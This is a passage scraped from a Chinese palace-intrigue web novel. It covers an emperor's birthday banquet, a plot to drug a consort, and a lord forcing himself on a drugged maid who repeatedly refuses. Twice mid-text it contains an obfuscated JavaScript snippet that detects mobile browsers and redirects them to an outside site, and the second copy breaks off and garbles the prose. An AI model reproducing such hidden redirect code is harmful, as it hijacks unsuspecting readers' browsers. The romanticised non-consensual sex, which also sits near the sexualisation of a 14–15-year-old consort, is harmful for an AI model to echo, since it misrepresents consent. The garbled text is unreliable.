晏澄洲抬眸,给贺秋娘夹了一片鱼肉,问道:“你这几日食欲不好?” 贺秋娘轻声道:“夫君多虑了,妾的身子一直都是这样,吃不进什么东西,稍微用多了,晚上便会腹泻。” “可有请大夫看过?” “看了,大夫说是气血不足,一时半会儿也补不上来。不是什么大问题。夫君不必担心。” 晏澄洲点点头,便再无话。 用完膳后,两人进了内室。 晏澄洲在案边坐下,看昨日廷尉递上来的折子。 贺秋娘独自坐在妆台前,借着青花烛台的光,低头绣着一方手帕。 她选了绛色和白色两种线,在碧色的帕面上绣芙蕖。可惜她的女红不好,不是下错了针,就是把线绞成一团。 晏澄洲的折子翻到最后一页时,贺秋娘的帕子还没绣完,倒是手上被戳出几个口子,渗出丝丝血珠。 晏澄洲看了一眼她的手,淡淡道:“既然绣不好,就不要勉强,平白给自己找不痛快。” 贺秋娘咬了咬唇,点头称是。 “不早了,歇息吧。” 贺秋娘敛下眸光:“嗯。” 明月当空,夜色如水一般漫进了屋子,让人莫名觉得寒凉。 两人躺在榻上,彼此无话。 贺秋娘睁开眼睛,愣愣地盯着头顶上方绣着福寿瓜瓞的帷帐。 成婚五年,晏澄洲每个月只会公事公办地来她院中一两回。虽然次数少,但每一次同他敦伦,贺秋娘都恨不得立刻死过去。 他就像一匹疯狼,双眸透着嗜血的欲望,报复般地在她身上驰骋,不像是寻求快感,倒像是在进行一场痛快淋漓的凌迟,仿佛要将她大卸八块。 每一次,她都疼得死去活来。绝望之下,她甚至生出一种玉石俱焚的孤注感,她想拿把刀子,先捅死晏澄洲,再捅死自己。 贺秋娘不是没想过和离,然而现实却由不得她。 晏澄洲凭着同这场联姻,将他和贺家牢牢地捆在一起。这几年,贺衍愈发病弱,将麾下大部分势力都转渡给了晏澄洲。二人若是和离,贺家内部必然面临着一场分裂。 再者,晏澄洲与她成婚五年,两人一直没有子嗣,他却从未往这侯府中添过新人,与纳妾成风的北雍贵族相比,晏澄洲倒算是一股清流。 况且……当年同他的这门婚事,是她自己费尽心思,好不容易才求来的。 她舍不下晏澄洲。 贺秋娘闭上眼,双手交叠在腹间,浓密的睫毛轻轻颤动。 她在等待即将到来的酷刑。 等了半晌,身旁的男人却没有丝毫动静。 贺秋娘僵硬地偏过脸来。 晏澄洲背对着她,长发披在身后,如同缎子一般流淌在枕间,呼吸声沉稳而均匀,已然沉沉睡去。 贺秋娘不禁有些奇怪。 不过,晏澄洲没有兴致,对她有益无害。 贺秋娘可不想赶着受他的虐。 她缓缓闭上了眼睛。 光阴迅速,又值初夏,转眼已是五月中旬,凤仪宫内的桃花树次第开放,落英缤纷,花繁似雪,将花园装点得生气盎然。 江婳和秦淮月一起,将铺了满地的花瓣一一拾起,用帕子拢着,再将这些花瓣晒干,做成香囊。 江婳踮起脚,从树上择了几簇怒放的碧桃花,编成个花环,笑着往自己头上戴:“阿月,好不好看?” 秦淮月眉眼弯弯,将脑袋点了几下。 江婳自入宫以来,一直闷闷不乐,难得见她这么开心。 江婳提着裙子转了几圈,又兴致勃勃地在石桌前坐下:“阿月,我也给你编一个吧。” 秦淮月笑道:“奴婢就不用了,对了娘娘——” 江婳抿住嘴角,疑惑地看向她。 “再过十日,就是陛下的十八岁生辰了。娘娘可想好送陛下什么寿礼了吗?” 提到皇帝,江婳的脸顿时垮了下来,蔫头耷脑地趴在桌上。 “为什么我要准备寿礼啊?他是皇帝哎,肯定有很多人给他送礼,又不缺我一个。”她皱着眉头,一脸苦大愁深。 秦淮月哭笑不得:“娘娘贵为中宫皇后,统率六宫。陛下生辰,娘娘怎么能不送礼呢?” 江婳愁眉苦脸。 说实话,江婳觉得,她跟闻熙一点儿也不熟。这半个月来,她只在侍寝的时候,还有那天在金华殿的时候见过闻熙,其他日子,她连他的影儿都摸不着。 每次跟他做开枝散叶的事,她就没有一次不疼。闻熙来凤仪宫中,她面上做出一副恭敬的样子,背地里却恨他恨得牙痒痒。 一想到他过生辰,她还得费尽心思给他准备一份寿礼,再装模假样地说上一堆吉祥话,江婳就觉得自己好虚伪。 秦淮月打断了她的思绪:“娘娘想好要送陛下什么寿礼了吗?” 江婳托着下巴,嘟囔道:“唔,皇兄不是给我准备了很多嫁妆吗?我记得那个什么……嵌翡翠的琉璃屏风,还挺不错的,就送那个好了。” 秦淮月有些迟疑:“这……不太好吧?陛下什么稀罕物没见过,送金银珠宝什么的,肯定落了俗套。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319202|167397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那你说送什么?”江婳斜睨着她。 秦淮月道:“给陛下送礼不在贵重,而在心意。娘娘的绣工极好,不如就给陛下绣一幅寿图,寿宴当日呈上去,陛下肯定欢喜。” 江婳哼了一声:“我知道,可是我懒得绣。” 皇帝那么讨厌,她才懒得在他身上花心思呢。 与其自己劳心劳力,还不如送个现成的屏风来得划算。 秦淮月:“……” 五月十六日。艳阳高照,春和景明。 皇帝的生辰宴设在太极殿中,近侍赵椿领着几个小太监,站在殿门外接待前来赴宴的官员和女眷。 近来太后身体抱恙,一直在金华殿中养病。皇帝并非她亲子,今年又不是整寿,她自然不会拖着病体来给他庆生。 太后不来,贺衍干脆也称病,在府上休养。这两人不来,其他朝臣便也见风使舵,都纷纷向皇帝告假,是故今日来太极殿贺寿的人并不多,只陆陆续续地来了几十个大臣。 大殿里十分空旷,闻熙端端坐在金漆銮座上,唇边噙着一抹笑,深邃的眸光不动声色地在前来贺寿的宾客身上逡巡。 殿外的赵椿尖着嗓子叫唤了一声:“皇后娘娘到!” 闻熙抬起眼帘,只见一个雪肤红衣的美人提着裙摆,款款迈进了殿中。 江婳今天穿了一身绯色缠枝宝瓶花锦缎宫裙,腰系金红两色流苏垂绦,头上斜斜插着一支红玉滴珠凤头金步摇,乌发如云,绛唇似樱。 她眉心用朱砂描着一朵梅花,既端庄大气,又不失少女的娇媚。 闻熙的目光不由自主地落在她身上。 他微微挑起眉梢,露出一个玩味的笑。 江婳偏过脑袋,选择直接忽视掉他的眼神。 她深吸一口气,加快了步伐,径直向他身边的凤椅走去。 秦淮月紧随其后,在两人不远处的抱柱下站定。 闻熙瞟了她一眼,旋即收回视线。 殿外又报:“顾美人到——” 江婳好奇地向前方看去。 顾妧年纪大概十四五岁左右,一双眼睛乌黑莹润,眼尾稍稍下垂,两颊粉腻饱满,看起来很是娇憨。 闻熙眼睛一亮,笑着向她招手:“妧儿,到朕身边来。” 顾妧慌张地抬眼,怯怯地看向凤椅上的江婳,双手在身前扭绞着,“陛下,这,这不好吧……” 只有皇后才能和皇帝平起平坐,她一个美人,若是坐到了皇帝身边,岂不是坏了规矩? “无妨,让人再添一张座就是了。”闻熙毫不在意地道。 他话音刚落,两个小太监很快将一张黄花梨案抬了上来。 顾妧的脸染上一抹绯红,微微敛着眸,不敢抬头看上首的江婳,慢吞吞地向闻熙踱去。 江婳倒没有在意顾妧的失礼。 顾妧比她早入宫一个月,在宫中颇为受宠。听说,皇帝一个月有十余日都是宿在她宫中。 想到此处,江婳不禁对顾妧投去了同情的眼神。 就闻熙那个莽汉,跟老牛犁田似的,她得多受罪啊。 闻熙亲自扶着顾妧在案前落座,对一旁的太监道:“开宴吧。” 殿外却响起赵椿不合时宜的尖声,这回却带着些许怯意,“靖远侯到——” 江婳瞪大了眼睛,顿时如临大敌,下意识看向一旁立着的秦淮月。 秦淮月眸光轻闪,脸上看不出什么表情,心中却骤然起了波澜。 贺秋娘穿一身金线绣海棠花月华裙,将手搭在晏澄洲的小臂上,虽然脸色苍白了些,在华服金饰的堆砌下,却丝毫不显气弱。 晏澄洲神色淡淡,薄唇绷成一线,目不斜视地走进了殿中。 一时间,殿内众臣的目光纷纷投向这携手并行的两人,开始窃窃私语了起来。 8. 澹月芙蕖(八) “晏侯爷怎么也来了?” “不知道,他不是一向不爱参加筵席吗,怎么今日却来宫中贺寿了?” “哼,不过是依托于妇人裙带罢了。若不是娶了贺家的女儿,他一个南人,哪里有资格登堂入室?” 晏澄洲顿住脚步,目光淡淡地略过议论的众人。 众臣这才回过神来,连忙噤声。 宫中南北御林军,吃得可都是这位靖远侯的军饷。他一声令下,就可将这殿内众人全部送进廷尉狱。廷尉狱的手段,那可不是一般人能受用的。 想到此处,众臣不由得打了一个寒战。 晏澄洲收回视线,提步上前,向上首的皇帝见礼:“微臣见过陛下。陛下万岁万岁万万岁。” 闻熙敛下眸光,平声道:“侯爷不必多礼,快请落座,宴席马上就要开始了。” 晏澄洲颔首,携着贺秋娘在一旁的案前坐下。 看着那举止亲昵的二人,江婳不禁转过头,一双美眸饱含担忧,望向一旁的秦淮月。 秦淮月的身子微微颤抖,葱白玉指紧紧地扭绞在一起,掐出一片红印。她脸色极其苍白,眼中水光流转,充满了破碎之感。 难怪,难怪晏澄洲能在北雍一手遮天。 晏澄洲坐在案前,慢条斯理地把玩着一只琉璃盏,似乎根本没有注意到她。 秦淮月咬紧了唇瓣,极力憋着不发出声音。 可眼泪却怎么也止不住,如同江河入海似的从她眼中滚滚而落。 精致的菜肴如同流水一般端了上来,席间觥筹交错,谈笑风生。 一群身着烟粉色轻纱舞裙的舞姬款款步入殿中,几个乐师相互递了递眼色,开始奏乐。舞姬们应声而动,足尖轻点,在铺着水痕白石的地板上翩翩旋转起来。 乐声越来越快,舞姬们变换着阵形,红裙翻浪,足尖点雪,甩出的水袖如同天边流云一般轻盈灵动。随着舞姬步伐的加快,时不时有淡淡的脂粉香气从袖中飘出。 忽然,一缕悠悠的笛音从殿中一侧飘出,如泣如诉,如愿如慕,婉转清越,缠绵悱恻,撩动着殿中每一个人的心。 晏澄洲的神色陡然一变。 这是南邺的著名笛曲,《梅花落》。 贺秋娘察觉到他的反常,怔忡道:“夫君,怎么了?” 晏澄洲没有说话,只是定定地看着那吹笛的人。 大殿左侧的汉白玉屏风后,女子身着白衣,将一管竹笛横在唇上,指尖灵巧地按着笛孔。丝丝金线从屏风后的雕花楹窗,勾勒出女子纤细的身姿。她的影子朦朦胧胧,恍若仙人临世。 闻熙支手撑着下巴,目光深沉地望向那盏屏风,慵懒的嗓音响起:“何人在此吹笛?” 笛音如轻烟一般一触即散,屏风上的影子动了。 殿中众人皆屏息凝神,不敢漏出一丝声气儿。 半晌,一位白衣女郎从屏风后款款而出,她一双水眸潋滟生光,鸦黑的长发如瀑,红唇不点而朱,如同一枝娇艳的桃花,携着初春的风露而来,给这太极殿中平添了三分春意。 女子朝着上首的闻熙柔柔下拜,嗓音如清泉淌过:“臣女崔氏凝华,见过陛下。” 闻熙唇边泛起笑来:“哦?朕记得,你应该是崔太仆的孙女吧?” 崔凝华笑道,福了福身:“陛下好记性。” “你的笛子吹得不错,北雍倒是很少有姑娘学吹笛的,你师从何人?”闻熙道。 “回陛下,臣女是从江南的一位乐师那里习来的”,崔凝华浅浅一笑,颊边露出个小梨涡来,甜软的嗓音响起,“臣女苦练了数月之久,就是为了给陛下生辰助兴。今日登台献丑,还望陛下千万不要怪罪臣女。” 闻熙眼中饱含戏谑,不置可否。 北人素来不爱听笛,那是南邺人玩出来的花样。她还偏偏选了一首《梅花落》,分明是醉翁之意不在酒。 闻熙嘴角翘起:“崔小姐今日这支笛曲吹得甚妙,让朕如听仙乐。你可有什么赏赐想向朕讨的?” 这时,席中一人起身道:“陛下,舍妹今年已满十五,仍是待字闺中。祖父年事已高,还整日为着舍妹的婚事忧心。还望陛下为她指一门婚事,以慰祖父的拳拳之心。” 这人正是崔凝华的哥哥,崔朔。 崔凝华红了双颊,娇羞地嗔道:“阿兄!” 闻熙瞧着这一唱一和的兄妹二人,心中如同明镜一般。 他挑起眉梢,眼中闪着戏谑的光,“既然如此……” 闻熙转头看向一旁的晏澄洲,“靖远侯今年二十有四,至今尚无子嗣。不如,就将崔小姐指给靖远侯为妾。侯爷觉得如何?” 秦淮月的心被狠狠揪紧,如同一盆冷水当头浇下,只觉得浑身冰冷。 一时间,殿内众人的目光皆汇聚到了贺秋娘的身上,唯独江婳仰着小脸,担忧地看向秦淮月。 席上一片寂静,众人都在等着晏澄洲的反应。 皇帝也不知道怎么想的,指给谁不好,偏偏指给靖远侯。靖远侯的夫人可是太后的侄女,两人成婚五年,靖远侯都不曾纳妾,可见二人甚是恩爱,又何必往侯府里塞个小妾来膈应人。 贺秋娘一言未发,抬眸看向身旁的晏澄洲。 晏澄洲抿了一口酒,唇边噙着浅笑,道:“本侯暂时没有纳妾的打算。陛下如此欣赏崔小姐的笛音,何不将崔小姐纳入宫中?也不失为一桩佳话。” 闻熙蹙眉不语。 崔凝华咬着唇,尴尬得都快哭出来了。 她这次借皇帝的生辰献曲,就是想嫁进侯府。哪知靖远侯却把她推给皇帝。这下好了,晏澄洲不肯纳她,皇帝也犹豫不决,这样僵持下去,她还怎么嫁人? 闻熙思忖着,眼神不由得落在顾妧身上。 顾妧美目圆睁,双手紧紧地攥着帕子,纤长卷翘的睫毛不停地扑闪,显得楚楚可怜。 看着她娇怯怯的模样,闻熙的心一下子软了,毫不犹豫地对崔朔道:“崔小姐今年才刚刚及笄,谈婚论嫁还早了些。崔太仆倒也不必急于一时。” 崔凝华脸色煞白,皇帝这意思,是不打算让她入宫了。 闻熙不耐烦地挥挥手,示意崔凝华退下。 比崔凝华脸色更难看的,是坐在大殿右下方的美人刘氏。 刘美人恨恨地瞪着大殿上方的顾妧,几乎咬碎了一口银牙。按照礼制,皇后才应该坐在皇帝身侧。顾妧与她同为美人,凭什么坐在她的上首? 刘美人是妃嫔中入宫最早的,一直以来颇为受宠。可自从来了顾妧,皇帝大半的时间都分到了她身上,再加上娶了皇后,刘美人侍寝的日子就更少了。 思及此,刘美人心里愈发不甘。 她垂下眼睫,忽然心生一计。 若是顾妧失了清白,皇帝定会对她心生嫌恶,哪个男人会纵容自己的女人委身他人? 刘美人攥紧了拳,对身边侍奉的宫女耳语了几句。 宫女点点头,转身出了太极殿。 刘美人目送着她的背影,嘴角弯起一个得意的弧度。 随后,她便捧着酒盏,笑吟吟地迈上丹墀,向闻熙走去。 “陛下今日生辰,臣妾还未给陛下敬酒呢。” 刘美人走到顾妧跟前,正欲靠近闻熙,忽然踩中了顾妧的裙子,她惊呼一声,脚下一滑,狼狈地摔倒在顾妧身上。 她手中的酒盏飞了出去,盏中的酒液四溅,顺着顾妧的裙子滴滴答答地流下来。 闻熙蹙起眉来,眼中沉沉烧起怒火,呵斥道:“怎么如此不小心!” 刘美人连忙道歉:“陛下恕罪!臣妾一时手滑,还请陛下饶过臣妾这一回……” 顾妧摆摆手道:“没事的,陛下。臣妾下去换身衣裳便是。” 闻熙压下怒火,狠狠剜了刘美人一眼,“今日是朕生辰,看在顾美人的份上,朕不与你计较。回宫后,将宫规抄上十遍!” 刘美人心中得意,面上却做出一副惊恐之状,“臣妾、臣妾知错了。” 江婳连忙道:“阿月,你陪着顾美人下去换衣裳吧。” 秦淮月吸了吸鼻子,红着眼走到顾妧身边,扶住她的胳膊,声音有些沙哑:“娘娘,奴婢带您去偏殿换衣裳。” 顾妧感激地看向江婳:“多谢皇后娘娘。” 江婳点点头:“快去吧。” 靖远侯和他的夫人就那么直愣愣地戳在下面,阿月再不走,还不知道难受成什么样子呢。 秦淮月扶着顾妧出了太极殿,穿过一道道宫门,缓步向顾妧所住的锦绣宫走去。 锦绣宫紧挨着御花园,园中草木葱茏,花树婆娑,远远的便可闻到一股浓郁的花香。 秦淮月抬眼望去,御花园中居然凿了一个小池塘,清澈的池水间漂浮着许多小如铜钱的浮萍,几朵粉色的莲花点缀在碧叶中,花蕊嫩黄,玲珑可爱,看着十分讨喜。 顾妧顺着她的目光看去,好奇地问:“秦姑娘,你在看什么啊?” 秦淮月眉眼弯弯,正想回答,身后却遽然起了一阵凉风,她倏地回头,一个小宫女神色慌张,哆哆嗦嗦地朝两人兜头洒下一把白粉。 “娘娘当心!”秦淮月大惊,下意识揽住顾妧的腰,将她拉到自己身后。那粉末洋洋洒洒地泼下来,落了秦淮月满头满脸。秦淮月猝不及防,一不小心吸进去不少。 顾妧惊恐地瞪着那宫女:“你是何人?这白粉又是什么东西?” 小宫女掉头就跑,顾妧想要追上去,一旁的秦淮月却双膝一软,扑通一声滑进了莲池里。 望着那宫女远去的背影,顾妧气得小脸都要冒烟了,也顾不上追赶,只能先下水,手忙脚乱地将秦淮月从池中捞了上来。 顾妧额间沁出一层冷汗,气喘吁吁地问:“秦姑娘,你没事儿吧?” 秦淮月眼神迷蒙,胸口剧烈地起伏着,红唇一翕一张,泛着诱人的水光,瞧着妩媚至极。 顾妧被她这副样子吓了一跳:“秦姑娘,你、你这是怎么了?” 秦淮月脑子晕乎乎的,阵阵热意从腹中升腾,烧得她浑身难受。 她难耐地揪住顾妧的衣角,指尖掐得泛白:“我、奴婢,可能,可能是……中了药……” 顾妧目瞪口呆:“什么?” 她是开过脸的人,自然晓得,秦淮月这副模样,中的只怕是春药。 如果不是为了自己,秦淮月怎么会中药? 顾妧急得团团转,心中又是焦灼,又是愧疚。 这春药发作得如此之快,药性必然甚烈,她们又没有解药,只能与人敦伦方可解。 可是,秦淮月一个未出阁的姑娘,就算解了药,清白也毁了,这让她以后怎么嫁人? 秦淮月愈发难受,两眼逐渐失去焦距,情不自禁地唤道:“晏、晏哥哥……” 顾妧愣住,将耳朵凑到她唇边:“秦姑娘,你说什么?” 秦淮月唇边溢出细细碎碎的娇吟:“找,找……晏哥哥……找阿郎……” “晏筠……你去找他,让晏筠来救我……” 顾妧瞪大了眼睛。 秦淮月让她,去找靖远侯来给她解药? 她喊靖远侯什么来着? 顾妧捂着嘴,心中一时波澜万丈。 她仿佛知道了一个天大的秘密。 秦淮月以为顾妧没有听清,又重复了几遍晏澄洲的名字。 见她仍愣在原地不动,秦淮月面颊绯红,急得闪出了泪花,孩子气地哭了起来:“你快去呀!” 顾妧见她实在难受,当下也没有其他办法,一咬牙,转身向太极殿的方向跑去。 殿内仍是歌舞升平。晏澄洲手执一双银筷,夹了一片鱼肉,送到了贺秋娘碗里。 一个小太监猫着腰,轻手轻脚地向晏澄洲走来。 晏澄洲搁下筷子,冷眼看向他:“你是哪个宫里的,来做什么?” 小太监眼神躲闪,哆嗦着道:“侯、侯爷,奴才有要事要禀报。” 晏澄洲薄唇轻牵:“找本侯何事?” 小太监结结巴巴地道:“此事,只能侯爷您一人知晓。” 晏澄洲皱眉,示意他凑近说话。 小太监俯下身,在他耳畔低语了几句。晏澄洲脸色大变,一脸不可置信的表情,五指紧紧地攥着案角。 他撂下筷子,骤然起身,神色阴沉地向殿外走去。 贺秋娘愣道:“夫君?” 晏澄洲没有搭理,跟着小太监快步出了殿。 ‘/ 殿外,顾妧站在汉白玉雕成的栏楯边,紧张地搓着双手。 晏澄洲径直走向她,目光薄如利刃,:“她在何处?” 顾妧被他这副阴沉的模样吓了一跳,身子抖如筛糠,支吾着半天说不出话。 晏澄洲沉下脸来,“本侯没有时间与你废话。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319203|167397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 顾妧嗫嚅着,“秦姑娘,她在御花园……” 晏澄洲的心霎时悬到了嗓子眼,转身向着御花园的方向飞奔而去。 一路上,他的心绪不断起伏,心脏扑通扑通往外跳。 到底是谁给她下的药? 晏澄洲一刻也不敢停,秦淮月中了药,万一这时候哪个侍卫路过御花园,糟践了她…… 晏澄洲的眼神瞬间变得狠厉。 他会将那人碎尸万段。 晏澄洲暗使轻功,不过少顷,便在御花园落了脚。 他远远地看见,那波光潋滟的莲池里,一袭白裳在水中婆娑摇曳,如波纹般荡开的裙摆下,掩映着两只纤细的雪足。 晏澄洲的心猛地揪紧,来不及多想,向着莲池飞奔而去。 铺满银砂的岸边,小娘子紧闭着双眸,上衫皱成一团,堆叠在胸前,露出一段柳条儿般的纤细腰肢。 她脸色泛着不正常的潮红,大半个身子都浸在水里,两脚无力地踢蹬着,溅出一连串的水花。 晏澄洲几乎是滑跪到岸边,扑到秦淮月的身边,焦急地喊道:“月儿!月儿!” 秦淮月懵懵懂懂地睁开眼睛。 她的五官清丽,与媚字是半分也不沾边的。此时却因春药之故,一双水润的杏眸染上了些许情欲,眼尾红红的,望向他的眼神妩媚,像要拉出丝来。 晏澄洲喉结滚了几滚,极力克制着体内的冲动,俯下身来,耐心地去解她腰上的绦带。 此时秦淮月脑中仍然存留着一丝理智,下意识伸手推拒。 “你,你别、别碰我……” 方才她让顾妧去寻晏澄洲,话说出口的一瞬间,她就后悔了。 他的夫人也在宫中,晏澄洲中途离席,来替自己解药,万一被他夫人发现了…… 秦淮月泪眼朦胧,额间的碎发被汗水浸湿,全都粘在颊上,嘴唇无力地吐着气。 她不想跟有妇之夫苟合。 晏澄洲望着她娇媚的模样,也不禁动情。 他俯下身子,深深吻上她的唇,舌头灵活地翘开她的齿关,与她纠缠在一起。 秦淮月被他吻得喘不过气,伸手想要推开他,可手臂却软绵绵的,一点儿力气也没有,玉手抚上他的胸膛,倒像是欲拒还迎。 晏澄洲腾出一只手来,与她掌心相抵,牢牢地扣住她的五指,另一只手绕到她身后,轻车熟路地解开了她背后的衣带。 秦淮月低低呜咽了两声,想要挣脱他的桎梏,可男人的手却仿佛铁铸一般,将她的手腕箍得紧紧的,怎么挣也挣不开。 晏澄洲用膝盖抵着她的腰,手指灵活地穿梭,扯下她的上衣,随意地扔在一边。 他的动作越来越放肆,粗粝的掌顺着腰线向下,伸手去撩她的裙摆。 秦淮月羞耻地咬住下唇,喉咙一阵哽咽,终于绷不住哭出声来。 晏澄洲的动作顿了顿,低头来捉她的唇,怜惜地叹道:“为什么要哭呢?” 他的声音喑哑,有种说不出来的蛊惑,丝丝缠绕着她: “月儿,我是你丈夫。” “你本就是我的人。” 秦淮月恨不得甩他一巴掌,咬牙道:“无媒无聘,你算我哪门子丈夫?” 她的声音带着哭腔,“你明媒正娶的夫人另有其人,我无名无分,哪里、哪里配高攀你靖远侯……” 秦淮月越发委屈,使劲儿去掰他的手,抽泣道:“你放开我,混蛋!登徒子!” 晏澄洲的指节被她掰得咔擦一声,他忍不住拧眉,狠狠掐住她的腰,“月儿,都这个时候了,你能不能听话一些!” 秦淮月却挣扎得更加厉害,往他身上又踢又打,小脸烧得通红,眼泪一个劲儿地往外流:“你走开,我不要你……我不要你帮我解药……我不要,呜呜……” 晏澄洲咬紧了后槽牙,恨声道:“我不来帮你,难不成你还想要找别的男人?” “是谁都可以……就算是个太监,也比跟你晏侯爷好!!” 晏澄洲怒极反笑,伸手抚上她的襦裙:“你拿我跟太监比?” 明明已经动情,可晏澄洲的手指却一片冰凉。秦淮月打了个寒战,一阵麻意飞快地从腿上窜了过去。 那种感觉,就像是有毒蛇在她身上爬过。她美目圆睁,惊恐地望着眼前阴戾的男人,“晏筠!你做什么?” 下一秒,刺啦一声,薄薄的衣料顷刻间被撕得粉碎。 他毫不犹豫地欺身上来,颀长的身子如同一座巍峨的青山,压得她毫无招架之力。 秦淮月啊地尖叫一声,如同一茎摇摇欲坠的荷花,在风的吹拂下婉约折腰。 …… 莲池东岸,一池春水被搅得潋滟翻浪,久久不能停息。 秦淮月的一双美眸黯然无光,朱唇无力地翕张着,像一只濒死的鱼。 她觉得自己一会儿被架上火堆,一会儿被扔进寒潭,上一刻还在烈火中挣扎,下一刻便将要溺毙。 晏澄洲双眸通红,带着久旱逢霖的快感,发了疯似的动作着。 他左眼下的泪痣红如朱砂,丝丝黑发垂落在颊边,显得有些妖异。 秦淮月眼角挂着泪,浓密纤长的睫毛轻轻阖着,像一排小帘子。 她明明知道,这个男人不再独属于她,却还是不受控制地扑了上去,与他抵死纠缠。 她的眼睛湿漉漉的,声音断断续续:“晏、晏筠……” 晏澄洲眸光涣散,凑上来吻她的唇,怜爱道:“叫我什么?” 秦淮月哭着喊道,“晏筠,晏哥哥,晏哥哥,啊……” 她意识到自己唤了幼年对他的称呼,正想改口,晏澄洲的吻便重重地落在她的唇上。 飞蛾扑火,饮鸠止渴,也不过如此。 莲池边的假山后,一丛花树正剧烈地抖动着。 稀疏的枝条间,一抹紫色的倩影若隐若现。 女子纤白的手紧紧揪着袖边的一朵白花,那可怜的花儿被她揪得皱巴巴的,落了一地的花瓣。 贺秋娘的手背止不住地颤抖,下唇咬得近乎渗血,眼眸惨淡无光,死死地盯着池边的动静。 假山的另一侧,男子粗重的喘息声,伴随着女子的娇吟,不绝于耳。 她感觉自己仿佛被谁打了一耳光,半边脸火辣辣的疼。 贺秋娘盯着那交缠的二人,冷冷地扯起嘴角,半晌,终是拂袖而去。 9. 一翦蘼芜(一) 支摘窗外的桃花枝条交疏,皎白的月光在其间浮动,那粉嫩的桃瓣儿竟有如透明一般。 一阵冷风吹过,半掩着的窗棂被吹得瑟瑟发抖,发出一声低哑的呜咽。 秦淮月遽然睁开了眼。 四下低垂着杏色软丝帘栊,澄亮的光晕隔着一层薄纱,在床头簌簌抖动。 她竟是躺在凤仪宫内,正殿江婳的榻上。 秦淮月揉着酸软的胳膊,支起身来。 帐外的人注意到了里边儿的动静,碎步急促地走来:“阿月!” 帘栊被倏地撩开,露出江婳焦急的脸。 “娘娘……奴婢,奴婢是怎么回来的?”秦淮月嗓音沙哑,费力地挤出一句话。 江婳挠挠头:“不知道啊,我一进来,你就躺在这儿了。” 她拿起案上的碧玉兰花执壶,给秦淮月倒了一杯水,:“你这嗓子,唉,真是……” 江婳面上浮起一抹红晕,眼睫轻眨:“我听顾美人说,你、你今日中了药?” 秦淮月捧着杯盏的手一颤,犹豫地点了点头。 江婳磕巴地问:“那,现在药效可解了?” 秦淮月苦笑:“解了。” 江婳揪住她的衣袖,眸光闪烁:“该不会是,晏、晏四公子?” 今日皇帝寿宴,晏澄洲突然离席,江婳便觉得奇怪,后又从顾妧那里得知秦淮月中药一事,这一联系起来…… 秦淮月咬唇不语,算是默认。 江婳咬牙切齿地说:“听顾美人说,那宫女本来是要暗算她的,幸好你帮她挡下了药。到底是谁要暗算你们呐!该不会是那个吹笛子的,叫崔什么来着,怎么这么黑心肝!” 秦淮月摇头:“应该不是她。” 崔凝华一心恋慕晏澄洲,如果要下药,也该是下到晏澄洲的杯子里,下给顾妧有什么用? 江婳心疼道地抓过她的手:“阿月,晏四公子,啊不,靖远侯,他是不是折磨你了?” 要是晏澄洲跟皇帝一样只知道蛮干,那秦淮月肯定狠狠受了一番罪。 秦淮月轻轻摇了摇头:“没有。” 江婳心下松泛,放柔了声音:“阿月,你今天肯定累了,早些休息吧。” 翌日一大早,顾妧就带着几个小宫女,到了凤仪宫的门口。 顾妧穿着水色曳地宫裙,立在一株桃花树下,莹白的小脸匀着酡红,腼腆地向正殿看来。 江婳携着秦淮月迎了出来,笑盈盈地道:“妹妹今日怎么有空到我宫里来了?” 顾妧连忙屈膝行礼:“妾身见过皇后娘娘。” 她咬了咬柔嫩的唇,将眼帘稍稍抬高,小声道:“实不相瞒,妾身此次来,是想向娘娘身边的秦姑娘道个谢。” 江婳了然,上前扶住顾妧的臂:“妹妹进屋说话吧。” 顾妧微微颔首,对几个宫女道:“本宫有话同皇后娘娘说,你们在殿外等候,不必进来。” 两人相偕着往殿内走去,在窗边的紫檀木雕花小几前坐下。 秦淮月忙碎步上前,为她们奉上茶水。 待殿中宫人都退了出去,顾妧才感激地看向秦淮月:“秦姑娘,昨日真的要多谢你。我头一回遇上那种事……如果不是你,我、我真的不知道该如何是好了。” 秦淮月抿唇轻笑:“无妨的,娘娘不必言谢。” 其实,秦淮月也要谢过顾妧,若不是昨日顾妧帮自己叫来了晏澄洲,她也不知道此事该怎么收场。 想到昨日在她面前的失态,秦淮月不禁有些发愁。要是顾妧问起她和晏澄洲是什么关系…… 这时,殿外的宫人忽然齐齐跪了下来,叩首道:“奴婢见过陛下。” 雕花门敞开,闻熙穿一身象牙白绣蟒纹圆领常服,笑吟吟地走了进来:“你们在聊些什么?不妨让朕也听听?” 江婳撇了撇嘴,这个时候,皇帝怎么来了? 顾妧愣了半晌,连忙起身行礼:“陛下。” 秦淮月也老实地跪了下来,见江婳仍然愣在原地,忙不迭扯了扯她的衣袖。 江婳嘴角抽搐,不情不愿地下拜:“臣妾见过陛下。” 闻熙淡道:“起身吧。”又接着对顾妧道:“朕去锦绣宫没见着你,你怎么到皇后宫中来了?” 顾妧垂下眉眼:“臣妾素来喜好诗词,昨日见着皇后娘娘,觉得颇为亲切,正巧皇后娘娘也对诗词很是精通,所以臣妾特地前来,想同娘娘探讨一二。” 江婳默契地点了点头。 闻熙颔首,眼中浮起些许微光,“你久居宫中,闲时读些诗词,打发打发时间也好。对了,朕有个好消息要同你说。” 顾妧睁圆了眼,“陛下近来有什么好事?” 闻熙牵起她的手,唇边泛起笑来:“先回宫再说。” 